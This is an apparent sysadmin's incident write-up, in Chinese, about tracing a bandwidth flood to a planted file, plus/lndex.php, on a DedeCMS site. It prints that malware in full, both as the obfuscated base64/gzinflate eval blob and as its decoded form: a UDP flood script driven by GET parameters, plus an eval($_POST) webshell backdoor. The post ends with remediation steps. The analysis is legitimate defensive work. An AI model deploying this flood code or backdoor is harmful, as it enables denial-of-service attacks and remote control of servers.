说说过程:
1.利用MRTG监控 发现网卡流量100M 狂丢包 偶尔通几个包
2.SSH登录服务器 用iftop统计是哪个IP流量最高
3.iptables -I INPUT -s 1.1.1.1 -j DROP
4.cat /var/log/httpd/access_log |grep 1.1.1.1
5.发现DEDECMS的plus目录下有一个lndex.php 访问地址为/plus/lndex.php?ip=1.1.1.1&port=80&time=600
6.lndex.php代码为
- <?php
- /*
- gl
- */
- eval(gzinflate(base64_decode('
- DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw
- 6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLb
- VkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGY
- ibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4
- wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG
- 3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci1
- 3dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCw
- xiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOu
- SJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Aw
- e8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnu
- bV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3c
- hsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/')));
7.经破解的代码为
- <?php
- $packets = 0;
- $ip = $_GET[\'ip\'];
- $rand = $_GET[\'port\'];
- set_time_limit(0);
- ignore_user_abort(FALSE);
- $exec_time = $_GET[\'time\'];
- $time = time();
- print \"Flooded: $ip on port $rand <br><br>\";
- $max_time = $time+$exec_time;
- for($i=0;$i<65535;$i++){
- $out .= \"X\";
- }
- while(1){
- $packets++;
- if(time() > $max_time){
- break;
- }
- $fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
- if($fp){
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
- ?>
- <?php eval($_POST[ddos])?>
8.也就是说只要访问网站的/plus/lndex.php?ip=1.1.1.1&port=80&time=600 就会UDP攻击1.1.1.1
9.关闭网站 修复DEDECMS漏洞 php.ini 修改allow_url_fopen = Off 或者是用iptables封掉UDP